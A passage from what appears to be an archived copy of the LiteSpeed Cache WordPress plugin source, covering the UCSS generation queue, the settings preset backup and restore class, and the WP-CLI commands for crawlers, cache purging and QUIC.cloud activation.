			$this->_queue[$queue_k] = $q;
		}
		$this->save_queue('ucss', $this->_queue);
	}

	/**
	 * Generate UCSS
	 *
	 * @since  4.0
	 */
	public static function cron( $continue = false ) {
		$_instance = self::cls();
		return $_instance->_cron_handler($continue);
	}

	/**
	 * Handle UCSS cron
	 *
	 * @since 4.2
	 */
	private function _cron_handler( $continue ) {
		$this->_queue = $this->load_queue('ucss');

		if (empty($this->_queue)) {
			return;
		}

		// For cron, need to check request interval too
		if (!$continue) {
			if (!empty($this->_summary['curr_request']) && time() - $this->_summary['curr_request'] < 300 && !$this->conf(self::O_DEBUG)) {
				self::debug('Last request not done');
				return;
			}
		}

		$i = 0;
		foreach ($this->_queue as $k => $v) {
			if (!empty($v['_status'])) {
				continue;
			}

			self::debug('cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);

			if (!isset($v['is_webp'])) {
				$v['is_webp'] = false;
			}

			++$i;
			$res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $v['is_mobile'], $v['is_webp']);
			if (!$res) {
				// Status is wrong, drop this this->_queue
				$this->_queue = $this->load_queue('ucss');
				unset($this->_queue[$k]);
				$this->save_queue('ucss', $this->_queue);

				if (!$continue) {
					return;
				}

				if ($i > 3) {
					GUI::print_loading(count($this->_queue), 'UCSS');
					return Router::self_redirect(Router::ACTION_UCSS, self::TYPE_GEN);
				}

				continue;
			}

			// Exit queue if out of quota or service is hot
			if ($res === 'out_of_quota' || $res === 'svc_hot') {
				return;
			}

			$this->_queue                = $this->load_queue('ucss');
			$this->_queue[$k]['_status'] = 'requested';
			$this->save_queue('ucss', $this->_queue);
			self::debug('Saved to queue [k] ' . $k);

			// only request first one
			if (!$continue) {
				return;
			}

			if ($i > 3) {
				GUI::print_loading(count($this->_queue), 'UCSS');
				return Router::self_redirect(Router::ACTION_UCSS, self::TYPE_GEN);
			}
		}
	}

	/**
	 * Send to QC API to generate UCSS
	 *
	 * @since  2.3
	 * @access private
	 */
	private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $is_mobile, $is_webp ) {
		// Check if has credit to push or not
		$err       = false;
		$allowance = $this->cls('Cloud')->allowance(Cloud::SVC_UCSS, $err);
		if (!$allowance) {
			self::debug('❌ No credit: ' . $err);
			$err && Admin_Display::error(Error::msg($err));
			return 'out_of_quota';
		}

		set_time_limit(120);

		// Update css request status
		$this->_summary['curr_request'] = time();
		self::save_summary();

		// Gather guest HTML to send
		$html = $this->cls('CSS')->prepare_html($request_url, $user_agent, $uid);

		if (!$html) {
			return false;
		}

		// Parse HTML to gather all CSS content before requesting
		$css             = false;
		list(, $html)    = $this->prepare_css($html, $is_webp, true); // Use this to drop CSS from HTML as we don't need those CSS to generate UCSS
		$filename        = $this->cls('Data')->load_url_file($url_tag, $vary, 'css');
		$filepath_prefix = $this->_build_filepath_prefix('css');
		$static_file     = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';
		self::debug('Checking combined file ' . $static_file);
		if (file_exists($static_file)) {
			$css = File::read($static_file);
		}

		if (!$css) {
			self::debug('❌ No combined css');
			return false;
		}

		$data = array(
			'url' => $request_url,
			'queue_k' => $queue_k,
			'user_agent' => $user_agent,
			'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet
			'is_webp' => $is_webp ? 1 : 0,
			'html' => $html,
			'css' => $css,
		);
		if (!isset($this->_ucss_whitelist)) {
			$this->_ucss_whitelist = $this->_filter_whitelist();
		}
		$data['whitelist'] = $this->_ucss_whitelist;

		self::debug('Generating: ', $data);

		$json = Cloud::post(Cloud::SVC_UCSS, $data, 30);
		if (!is_array($json)) {
			return $json;
		}

		// Old version compatibility
		if (empty($json['status'])) {
			if (!empty($json['ucss'])) {
				$this->_save_con('ucss', $json['ucss'], $queue_k, $is_mobile, $is_webp);
			}

			// Delete the row
			return false;
		}

		// Unknown status, remove this line
		if ($json['status'] != 'queued') {
			return false;
		}

		// Save summary data
		$this->_summary['last_spent']   = time() - $this->_summary['curr_request'];
		$this->_summary['last_request'] = $this->_summary['curr_request'];
		$this->_summary['curr_request'] = 0;
		self::save_summary();

		return true;
	}

	/**
	 * Save UCSS content
	 *
	 * @since 4.2
	 */
	private function _save_con( $type, $css, $queue_k, $is_mobile, $is_webp ) {
		// Add filters
		$css = apply_filters('litespeed_' . $type, $css, $queue_k);
		self::debug2('con: ', $css);

		if (substr($css, 0, 2) == '/*' && substr($css, -2) == '*/') {
			self::debug('❌ empty ' . $type . ' [content] ' . $css);
			// continue; // Save the error info too
		}

		// Write to file
		$filecon_md5 = md5($css);

		$filepath_prefix = $this->_build_filepath_prefix($type);
		$static_file     = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css';

		File::save($static_file, $css, true);

		$url_tag = $this->_queue[$queue_k]['url_tag'];
		$vary    = $this->_queue[$queue_k]['vary'];
		self::debug2("Save URL to file [file] $static_file [vary] $vary");

		$this->cls('Data')->save_url($url_tag, $vary, $type, $filecon_md5, dirname($static_file), $is_mobile, $is_webp);

		Purge::add(strtoupper($type) . '.' . md5($queue_k));
	}

	/**
	 * Prepare CSS from HTML for CCSS generation only. UCSS will used combined CSS directly.
	 * Prepare refined HTML for both CCSS and UCSS.
	 *
	 * @since  3.4.3
	 */
	public function prepare_css( $html, $is_webp = false, $dryrun = false ) {
		$css = '';
		preg_match_all('#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>#isU', $html, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$debug_info = '';
			if (strpos($match[0], '<link') === 0) {
				$attrs = Utility::parse_attr($match[1]);

				if (empty($attrs['rel'])) {
					continue;
				}

				if ($attrs['rel'] != 'stylesheet') {
					if ($attrs['rel'] != 'preload' || empty($attrs['as']) || $attrs['as'] != 'style') {
						continue;
					}
				}

				if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) {
					continue;
				}

				if (empty($attrs['href'])) {
					continue;
				}

				// Check Google fonts hit
				if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) {
					$html = str_replace($match[0], '', $html);
					continue;
				}

				$debug_info = $attrs['href'];

				// Load CSS content
				if (!$dryrun) {
					// Dryrun will not load CSS but just drop them
					$con = $this->cls('Optimizer')->load_file($attrs['href']);
					if (!$con) {
						continue;
					}
				} else {
					$con = '';
				}
			} else {
				// Inline style
				$attrs = Utility::parse_attr($match[2]);

				if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) {
					continue;
				}

				Debug2::debug2('[CSS] Load inline CSS ' . substr($match[3], 0, 100) . '...', $attrs);
				$con = $match[3];

				$debug_info = '__INLINE__';
			}

			$con = Optimizer::minify_css($con);
			if ($is_webp && $this->cls('Media')->webp_support()) {
				$con = $this->cls('Media')->replace_background_webp($con);
			}

			if (!empty($attrs['media']) && $attrs['media'] !== 'all') {
				$con = '@media ' . $attrs['media'] . '{' . $con . "}\n";
			} else {
				$con = $con . "\n";
			}

			$con  = '/* ' . $debug_info . ' */' . $con;
			$css .= $con;

			$html = str_replace($match[0], '', $html);
		}

		return array( $css, $html );
	}

	/**
	 * Filter the comment content, add quotes to selector from whitelist. Return the json
	 *
	 * @since 3.3
	 */
	private function _filter_whitelist() {
		$whitelist = array();
		$list      = apply_filters('litespeed_ucss_whitelist', $this->conf(self::O_OPTM_UCSS_SELECTOR_WHITELIST));
		foreach ($list as $k => $v) {
			if (substr($v, 0, 2) === '//') {
				continue;
			}
			// Wrap in quotes for selectors
			if (substr($v, 0, 1) !== '/' && strpos($v, '"') === false && strpos($v, "'") === false) {
				// $v = "'$v'";
			}
			$whitelist[] = $v;
		}

		return $whitelist;
	}

	/**
	 * Notify finished from server
	 *
	 * @since 5.1
	 */
	public function notify() {
		$post_data = \json_decode(file_get_contents('php://input'), true);
		if (is_null($post_data)) {
			$post_data = $_POST;
		}
		self::debug('notify() data', $post_data);

		$this->_queue = $this->load_queue('ucss');

		list($post_data) = $this->cls('Cloud')->extract_msg($post_data, 'ucss');

		$notified_data = $post_data['data'];
		if (empty($notified_data) || !is_array($notified_data)) {
			self::debug('❌ notify exit: no notified data');
			return Cloud::err('no notified data');
		}

		// Check if its in queue or not
		$valid_i = 0;
		foreach ($notified_data as $v) {
			if (empty($v['request_url'])) {
				self::debug('❌ notify bypass: no request_url', $v);
				continue;
			}
			if (empty($v['queue_k'])) {
				self::debug('❌ notify bypass: no queue_k', $v);
				continue;
			}

			if (empty($this->_queue[$v['queue_k']])) {
				self::debug('❌ notify bypass: no this queue [q_k]' . $v['queue_k']);
				continue;
			}

			// Save data
			if (!empty($v['data_ucss'])) {
				$is_mobile = $this->_queue[$v['queue_k']]['is_mobile'];
				$is_webp   = $this->_queue[$v['queue_k']]['is_webp'];
				$this->_save_con('ucss', $v['data_ucss'], $v['queue_k'], $is_mobile, $is_webp);

				++$valid_i;
			}

			unset($this->_queue[$v['queue_k']]);
			self::debug('notify data handled, unset queue [q_k] ' . $v['queue_k']);
		}
		$this->save_queue('ucss', $this->_queue);

		self::debug('notified');

		return Cloud::ok(array( 'count' => $valid_i ));
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  2.3
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_GEN:
            self::cron(true);
				break;

			case self::TYPE_CLEAR_Q:
            $this->clear_q('ucss');
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/import.preset.cls.php000064400000013001151031165260021155 0ustar00<?php
// phpcs:ignoreFile
/**
 * The preset class.
 *
 * @since  5.3.0
 */
namespace LiteSpeed;

defined('WPINC') || exit();

class Preset extends Import {

	protected $_summary;

	const MAX_BACKUPS = 10;

	const TYPE_APPLY   = 'apply';
	const TYPE_RESTORE = 'restore';

	const STANDARD_DIR = LSCWP_DIR . 'data/preset';
	const BACKUP_DIR   = LITESPEED_STATIC_DIR . '/auto-backup';

	/**
	 * Returns sorted backup names
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function get_backups() {
		self::init_filesystem();
		global $wp_filesystem;

		$backups = array_map(
			function ( $path ) {
				return self::basename($path['name']);
			},
			$wp_filesystem->dirlist(self::BACKUP_DIR) ?: array()
		);
		rsort($backups);

		return $backups;
	}

	/**
	 * Removes extra backup files
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function prune_backups() {
		$backups = self::get_backups();
		global $wp_filesystem;

		foreach (array_slice($backups, self::MAX_BACKUPS) as $backup) {
			$path = self::get_backup($backup);
			$wp_filesystem->delete($path);
			Debug2::debug('[Preset] Deleted old backup from ' . $backup);
		}
	}

	/**
	 * Returns a settings file's extensionless basename given its filesystem path
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function basename( $path ) {
		return basename($path, '.data');
	}

	/**
	 * Returns a standard preset's path given its extensionless basename
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function get_standard( $name ) {
		return path_join(self::STANDARD_DIR, $name . '.data');
	}

	/**
	 * Returns a backup's path given its extensionless basename
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function get_backup( $name ) {
		return path_join(self::BACKUP_DIR, $name . '.data');
	}

	/**
	 * Initializes the global $wp_filesystem object and clears stat cache
	 *
	 * @since  5.3.0
	 */
	static function init_filesystem() {
		require_once ABSPATH . '/wp-admin/includes/file.php';
		\WP_Filesystem();
		clearstatcache();
	}

	/**
	 * Init
	 *
	 * @since  5.3.0
	 */
	public function __construct() {
		Debug2::debug('[Preset] Init');
		$this->_summary = self::get_summary();
	}

	/**
	 * Applies a standard preset's settings given its extensionless basename
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function apply( $preset ) {
		$this->make_backup($preset);

		$path   = self::get_standard($preset);
		$result = $this->import_file($path) ? $preset : 'error';

		$this->log($result);
	}

	/**
	 * Restores settings from the backup file with the given timestamp, then deletes the file
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function restore( $timestamp ) {
		$backups = array();
		foreach (self::get_backups() as $backup) {
			if (preg_match('/^backup-' . $timestamp . '(-|$)/', $backup) === 1) {
				$backups[] = $backup;
			}
		}

		if (empty($backups)) {
			$this->log('error');
			return;
		}

		$backup = $backups[0];
		$path   = self::get_backup($backup);

		if (!$this->import_file($path)) {
			$this->log('error');
			return;
		}

		self::init_filesystem();
		global $wp_filesystem;

		$wp_filesystem->delete($path);
		Debug2::debug('[Preset] Deleted most recent backup from ' . $backup);

		$this->log('backup');
	}

	/**
	 * Saves current settings as a backup file, then prunes extra backup files
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function make_backup( $preset ) {
		$backup = 'backup-' . time() . '-before-' . $preset;
		$data   = $this->export(true);

		$path = self::get_backup($backup);
		File::save($path, $data, true);
		Debug2::debug('[Preset] Backup saved to ' . $backup);

		self::prune_backups();
	}

	/**
	 * Tries to import from a given settings file
	 *
	 * @since  5.3.0
	 */
	function import_file( $path ) {
		$debug = function ( $result, $name ) {
			$action = $result ? 'Applied' : 'Failed to apply';
			Debug2::debug('[Preset] ' . $action . ' settings from ' . $name);
			return $result;
		};

		$name     = self::basename($path);
		$contents = file_get_contents($path);

		if (false === $contents) {
			Debug2::debug('[Preset] ❌ Failed to get file contents');
			return $debug(false, $name);
		}

		$parsed = array();
		try {
			// Check if the data is v4+
			if (strpos($contents, '["_version",') === 0) {
				$contents = explode("\n", $contents);
				foreach ($contents as $line) {
					$line = trim($line);
					if (empty($line)) {
						continue;
					}
					list($key, $value) = \json_decode($line, true);
					$parsed[$key]      = $value;
				}
			} else {
				$parsed = \json_decode(base64_decode($contents), true);
			}
		} catch (\Exception $ex) {
			Debug2::debug('[Preset] ❌ Failed to parse serialized data');
			return $debug(false, $name);
		}

		if (empty($parsed)) {
			Debug2::debug('[Preset] ❌ Nothing to apply');
			return $debug(false, $name);
		}

		$this->cls('Conf')->update_confs($parsed);

		return $debug(true, $name);
	}

	/**
	 * Updates the log
	 *
	 * @since  5.3.0
	 */
	function log( $preset ) {
		$this->_summary['preset']           = $preset;
		$this->_summary['preset_timestamp'] = time();
		self::save_summary();
	}

	/**
	 * Handles all request actions from main cls
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_APPLY:
            $this->apply(!empty($_GET['preset']) ? $_GET['preset'] : false);
				break;

			case self::TYPE_RESTORE:
            $this->restore(!empty($_GET['timestamp']) ? $_GET['timestamp'] : false);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/crawler.cls.php000064400000013552151031165260017774 0ustar00<?php
/**
 * LiteSpeed Cache CLI Crawler Commands
 *
 * Provides WP-CLI commands for managing LiteSpeed Cache crawlers.
 *
 * @package LiteSpeed
 * @since 1.1.0
 */

namespace LiteSpeed\CLI;

defined('WPINC') || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Base;
use LiteSpeed\Task;
use LiteSpeed\Crawler as Crawler2;
use WP_CLI;

/**
 * Crawler
 */
class Crawler extends Base {
	/**
	 * Crawler instance
	 *
	 * @var Crawler2 $crawler
	 */
	private $crawler;

	/**
	 * Constructor for Crawler CLI commands
	 *
	 * @since 1.1.0
	 */
	public function __construct() {
		Debug2::debug('CLI_Crawler init');

		$this->crawler = Crawler2::cls();
	}

	/**
	 * List all crawlers
	 *
	 * Displays a table of all crawlers with their details.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # List all crawlers
	 *     $ wp litespeed-crawler l
	 *
	 * @since 1.1.0
	 */
	public function l() {
		$this->list();
	}

	/**
	 * List all crawlers
	 *
	 * Displays a table of all crawlers with their details.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # List all crawlers
	 *     $ wp litespeed-crawler list
	 *
	 * @since 1.1.0
	 */
	public function list() {
		$crawler_list = $this->crawler->list_crawlers();
		$summary      = Crawler2::get_summary();
		if ($summary['curr_crawler'] >= count($crawler_list)) {
			$summary['curr_crawler'] = 0;
		}
		$is_running = time() - $summary['is_running'] <= 900;

		$crawler_run_interval = defined('LITESPEED_CRAWLER_RUN_INTERVAL') ? LITESPEED_CRAWLER_RUN_INTERVAL : 600; // Specify time in seconds for the time between each run interval
		if ($crawler_run_interval > 0) {
			$recurrence = '';
			$hours      = (int) floor($crawler_run_interval / 3600);
			if ($hours) {
				if ($hours > 1) {
					$recurrence .= sprintf(__('%d hours', 'litespeed-cache'), $hours);
				} else {
					$recurrence .= sprintf(__('%d hour', 'litespeed-cache'), $hours);
				}
			}
			$minutes = (int) floor(($crawler_run_interval % 3600) / 60);
			if ($minutes) {
				$recurrence .= ' ';
				if ($minutes > 1) {
					$recurrence .= sprintf(__('%d minutes', 'litespeed-cache'), $minutes);
				} else {
					$recurrence .= sprintf(__('%d minute', 'litespeed-cache'), $minutes);
				}
			}
		}

		$list = array();
		foreach ($crawler_list as $i => $v) {
			$hit  = !empty($summary['crawler_stats'][$i][Crawler2::STATUS_HIT]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_HIT] : 0;
			$miss = !empty($summary['crawler_stats'][$i][Crawler2::STATUS_MISS]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_MISS] : 0;

			$blacklisted  = !empty($summary['crawler_stats'][$i][Crawler2::STATUS_BLACKLIST]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_BLACKLIST] : 0;
			$blacklisted += !empty($summary['crawler_stats'][$i][Crawler2::STATUS_NOCACHE]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_NOCACHE] : 0;

			if (isset($summary['crawler_stats'][$i][Crawler2::STATUS_WAIT])) {
				$waiting = $summary['crawler_stats'][$i][Crawler2::STATUS_WAIT] ?? 0;
			} else {
				$waiting = $summary['list_size'] - $hit - $miss - $blacklisted;
			}

			$analytics  = 'Waiting: ' . $waiting;
			$analytics .= '     Hit: ' . $hit;
			$analytics .= '     Miss: ' . $miss;
			$analytics .= '     Blocked: ' . $blacklisted;

			$running = '';
			if ($i === $summary['curr_crawler']) {
				$running = 'Pos: ' . ($summary['last_pos'] + 1);
				if ($is_running) {
					$running .= '(Running)';
				}
			}

			$status = $this->crawler->is_active($i) ? '✅' : '❌';

			$list[] = array(
				'ID' => $i + 1,
				'Name' => wp_strip_all_tags($v['title']),
				'Frequency' => $recurrence,
				'Status' => $status,
				'Analytics' => $analytics,
				'Running' => $running,
			);
		}

		WP_CLI\Utils\format_items('table', $list, array( 'ID', 'Name', 'Frequency', 'Status', 'Analytics', 'Running' ));
	}

	/**
	 * Enable one crawler
	 *
	 * ## OPTIONS
	 *
	 * <id>
	 * : The ID of the crawler to enable.
	 *
	 * ## EXAMPLES
	 *
	 *     # Turn on 2nd crawler
	 *     $ wp litespeed-crawler enable 2
	 *
	 * @since 1.1.0
	 * @param array $args Command arguments.
	 */
	public function enable( $args ) {
		$id = $args[0] - 1;
		if ($this->crawler->is_active($id)) {
			WP_CLI::error('ID #' . $id . ' had been enabled');
			return;
		}

		$this->crawler->toggle_activeness($id);
		WP_CLI::success('Enabled crawler #' . $id);
	}

	/**
	 * Disable one crawler
	 *
	 * ## OPTIONS
	 *
	 * <id>
	 * : The ID of the crawler to disable.
	 *
	 * ## EXAMPLES
	 *
	 *     # Turn off 1st crawler
	 *     $ wp litespeed-crawler disable 1
	 *
	 * @since 1.1.0
	 * @param array $args Command arguments.
	 */
	public function disable( $args ) {
		$id = $args[0] - 1;
		if (!$this->crawler->is_active($id)) {
			WP_CLI::error('ID #' . $id . ' has been disabled');
			return;
		}

		$this->crawler->toggle_activeness($id);
		WP_CLI::success('Disabled crawler #' . $id);
	}

	/**
	 * Run crawling
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Start crawling
	 *     $ wp litespeed-crawler r
	 *
	 * @since 1.1.0
	 */
	public function r() {
		$this->run();
	}

	/**
	 * Run crawling
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Start crawling
	 *     $ wp litespeed-crawler run
	 *
	 * @since 1.1.0
	 */
	public function run() {
		self::debug('⚠️⚠️⚠️ Forced take over lane (CLI)');
		$this->crawler->Release_lane();

		Task::async_call('crawler');

		$summary = Crawler2::get_summary();

		WP_CLI::success('Start crawling. Current crawler #' . ($summary['curr_crawler'] + 1) . ' [position] ' . $summary['last_pos'] . ' [total] ' . $summary['list_size']);
	}

	/**
	 * Reset crawler position
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Reset crawler position
	 *     $ wp litespeed-crawler reset
	 *
	 * @since 1.1.0
	 */
	public function reset() {
		$this->crawler->reset_pos();

		$summary = Crawler2::get_summary();

		WP_CLI::success('Reset position. Current crawler #' . ($summary['curr_crawler'] + 1) . ' [position] ' . $summary['last_pos'] . ' [total] ' . $summary['list_size']);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/purge.cls.php000064400000016102151031165260017451 0ustar00<?php
/**
 * LiteSpeed Cache Purge Interface CLI.
 *
 * @package LiteSpeed\CLI
 */

namespace LiteSpeed\CLI;

defined( 'WPINC' ) || exit();

use LiteSpeed\Core;
use LiteSpeed\Router;
use LiteSpeed\Admin_Display;
use WP_CLI;

/**
 * LiteSpeed Cache Purge Interface
 */
class Purge {

	/**
	 * List all site domains and ids on the network.
	 *
	 * For use with the blog subcommand.
	 *
	 * ## EXAMPLES
	 *
	 *     # List all the site domains and ids in a table.
	 *     $ wp litespeed-purge network_list
	 */
	public function network_list() {
		if ( ! is_multisite() ) {
			WP_CLI::error( 'This is not a multisite installation!' );
			return;
		}

		$buf = WP_CLI::colorize( '%CThe list of installs:%n' ) . PHP_EOL;

		$sites = get_sites();
		foreach ( $sites as $site ) {
			$buf .= WP_CLI::colorize( '%Y' . $site->domain . $site->path . ':%n ID ' . $site->blog_id ) . PHP_EOL;
		}

		WP_CLI::line( $buf );
	}

	/**
	 * Sends an AJAX request to the site.
	 *
	 * @param string $action The action to perform.
	 * @param array  $extra  Additional data to include in the request.
	 * @return object The HTTP response.
	 * @since 1.0.14
	 */
	private function send_request( $action, $extra = array() ) {
		$data = array(
			Router::ACTION => $action,
			Router::NONCE => wp_create_nonce( $action ),
		);
		if ( ! empty( $extra ) ) {
			$data = array_merge( $data, $extra );
		}

		$url = admin_url( 'admin-ajax.php' );
		WP_CLI::debug( 'URL is ' . $url );

		$out = WP_CLI\Utils\http_request( 'GET', $url, $data );
		return $out;
	}

	/**
	 * Purges all cache entries for the blog (the entire network if multisite).
	 *
	 * ## EXAMPLES
	 *
	 *     # Purge Everything associated with the WordPress install.
	 *     $ wp litespeed-purge all
	 */
	public function all() {
		$action = is_multisite() ? Core::ACTION_QS_PURGE_EMPTYCACHE : Core::ACTION_QS_PURGE_ALL;

		$purge_ret = $this->send_request( $action );

		if ( $purge_ret->success ) {
			WP_CLI::success( __( 'Purged All!', 'litespeed-cache' ) );
		} else {
			WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code );
		}
	}

	/**
	 * Purges all cache entries for the blog.
	 *
	 * ## OPTIONS
	 *
	 * <blogid>
	 * : The blog id to purge.
	 *
	 * ## EXAMPLES
	 *
	 *     # In a multisite install, purge only the shop.example.com cache (stored as blog id 2).
	 *     $ wp litespeed-purge blog 2
	 *
	 * @param array $args Positional arguments (blogid).
	 */
	public function blog( $args ) {
		if ( ! is_multisite() ) {
			WP_CLI::error( 'Not a multisite installation.' );
			return;
		}

		$blogid = $args[0];
		if ( ! is_numeric( $blogid ) ) {
			$error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' );
			WP_CLI::line( $error );
			$this->network_list( $args );
			return;
		}

		$site = get_blog_details( $blogid );
		if ( false === $site ) {
			$error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' );
			WP_CLI::line( $error );
			$this->network_list( $args );
			return;
		}

		switch_to_blog( $blogid );

		$purge_ret = $this->send_request( Core::ACTION_QS_PURGE_ALL );
		if ( $purge_ret->success ) {
			WP_CLI::success( __( 'Purged the blog!', 'litespeed-cache' ) );
		} else {
			WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code );
		}
	}

	/**
	 * Purges all cache tags related to a URL.
	 *
	 * ## OPTIONS
	 *
	 * <url>
	 * : The URL to purge.
	 *
	 * ## EXAMPLES
	 *
	 *     # Purge the front page.
	 *     $ wp litespeed-purge url https://mysite.com/
	 *
	 * @param array $args Positional arguments (URL).
	 */
	public function url( $args ) {
		$data          = array(
			Router::ACTION => Core::ACTION_QS_PURGE,
		);
		$url           = $args[0];
		$deconstructed = wp_parse_url( $url );
		if ( empty( $deconstructed ) ) {
			WP_CLI::error( 'URL passed in is invalid.' );
			return;
		}

		if ( is_multisite() ) {
			if ( 0 === get_blog_id_from_url( $deconstructed['host'], '/' ) ) {
				WP_CLI::error( 'Multisite URL passed in is invalid.' );
				return;
			}
		} else {
			$deconstructed_site = wp_parse_url( get_home_url() );
			if ( $deconstructed['host'] !== $deconstructed_site['host'] ) {
				WP_CLI::error( 'Single site URL passed in is invalid.' );
				return;
			}
		}

		WP_CLI::debug( 'URL is ' . $url );

		$purge_ret = WP_CLI\Utils\http_request( 'GET', $url, $data );
		if ( $purge_ret->success ) {
			WP_CLI::success( __( 'Purged the URL!', 'litespeed-cache' ) );
		} else {
			WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code );
		}
	}

	/**
	 * Helper function for purging by IDs.
	 *
	 * @param array    $args     The ID list to parse.
	 * @param string   $select   The purge by kind.
	 * @param callable $callback The callback function to check the ID.
	 */
	private function purgeby( $args, $select, $callback ) {
		$filtered = array();
		foreach ( $args as $val ) {
			if ( ! ctype_digit( $val ) ) {
				WP_CLI::debug( '[LSCACHE] Skip val, not a number. ' . $val );
				continue;
			}
			$term = $callback( $val );
			if ( ! empty( $term ) ) {
				WP_CLI::line( $term->name );
				$filtered[] = in_array( $callback, array( 'get_tag', 'get_category' ), true ) ? $term->name : $val;
			} else {
				WP_CLI::debug( '[LSCACHE] Skip val, not a valid term. ' . $val );
			}
		}

		if ( empty( $filtered ) ) {
			WP_CLI::error( 'Arguments must be integer IDs.' );
			return;
		}

		$str = implode( ',', $filtered );

		$purge_titles = array(
			Admin_Display::PURGEBY_CAT => 'Category',
			Admin_Display::PURGEBY_PID => 'Post ID',
			Admin_Display::PURGEBY_TAG => 'Tag',
			Admin_Display::PURGEBY_URL => 'URL',
		);

		WP_CLI::line( 'Will purge the following: [' . $purge_titles[ $select ] . '] ' . $str );

		$data = array(
			Admin_Display::PURGEBYOPT_SELECT => $select,
			Admin_Display::PURGEBYOPT_LIST   => $str,
		);

		$purge_ret = $this->send_request( Core::ACTION_PURGE_BY, $data );
		if ( $purge_ret->success ) {
			WP_CLI::success( __( 'Purged!', 'litespeed-cache' ) );
		} else {
			WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code );
		}
	}

	/**
	 * Purges cache tags for a WordPress tag.
	 *
	 * ## OPTIONS
	 *
	 * <ids>...
	 * : The Term IDs to purge.
	 *
	 * ## EXAMPLES
	 *
	 *     # Purge the tag IDs 1, 3, and 5
	 *     $ wp litespeed-purge tag 1 3 5
	 *
	 * @param array $args Positional arguments (IDs).
	 */
	public function tag( $args ) {
		$this->purgeby( $args, Admin_Display::PURGEBY_TAG, 'get_tag' );
	}

	/**
	 * Purges cache tags for a WordPress category.
	 *
	 * ## OPTIONS
	 *
	 * <ids>...
	 * : The Term IDs to purge.
	 *
	 * ## EXAMPLES
	 *
	 *     # Purge the category IDs 1, 3, and 5
	 *     $ wp litespeed-purge category 1 3 5
	 *
	 * @param array $args Positional arguments (IDs).
	 */
	public function category( $args ) {
		$this->purgeby( $args, Admin_Display::PURGEBY_CAT, 'get_category' );
	}

	/**
	 * Purges cache tags for a WordPress Post/Product.
	 *
	 * @alias product
	 *
	 * ## OPTIONS
	 *
	 * <ids>...
	 * : The Post IDs to purge.
	 *
	 * ## EXAMPLES
	 *
	 *     # Purge the post IDs 1, 3, and 5
	 *     $ wp litespeed-purge post_id 1 3 5
	 *
	 * @param array $args Positional arguments (IDs).
	 */
	public function post_id( $args ) {
		$this->purgeby( $args, Admin_Display::PURGEBY_PID, 'get_post' );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/online.cls.php000064400000021011151031165260017606 0ustar00<?php
/**
 * QUIC.cloud API CLI for LiteSpeed integration.
 *
 * @package LiteSpeed\CLI
 */

namespace LiteSpeed\CLI;

defined( 'WPINC' ) || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Cloud;
use WP_CLI;

/**
 * QUIC.cloud API CLI
 */
class Online {

	/**
	 * Cloud instance.
	 *
	 * @var Cloud
	 */
	private $cloud;

	/**
	 * Constructor for Online CLI.
	 */
	public function __construct() {
		Debug2::debug( 'CLI_Cloud init' );

		$this->cloud = Cloud::cls();
	}

	/**
	 * Init domain on QUIC.cloud server (See https://quic.cloud/terms/)
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Activate domain on QUIC.cloud (! Require SERVER IP setting to be set first)
	 *     $ wp litespeed-online init
	 */
	public function init() {
		$resp = $this->cloud->init_qc_cli();
		if ( ! empty( $resp['qc_activated'] ) ) {
			$main_domain = ! empty( $resp['main_domain'] ) ? $resp['main_domain'] : false;
			$this->cloud->update_qc_activation( $resp['qc_activated'], $main_domain );
			WP_CLI::success( 'Init successfully. Activated type: ' . $resp['qc_activated'] );
		} else {
			WP_CLI::error( 'Init failed!' );
		}
	}

	/**
	 * Init domain CDN service on QUIC.cloud server (See https://quic.cloud/terms/)
	 *
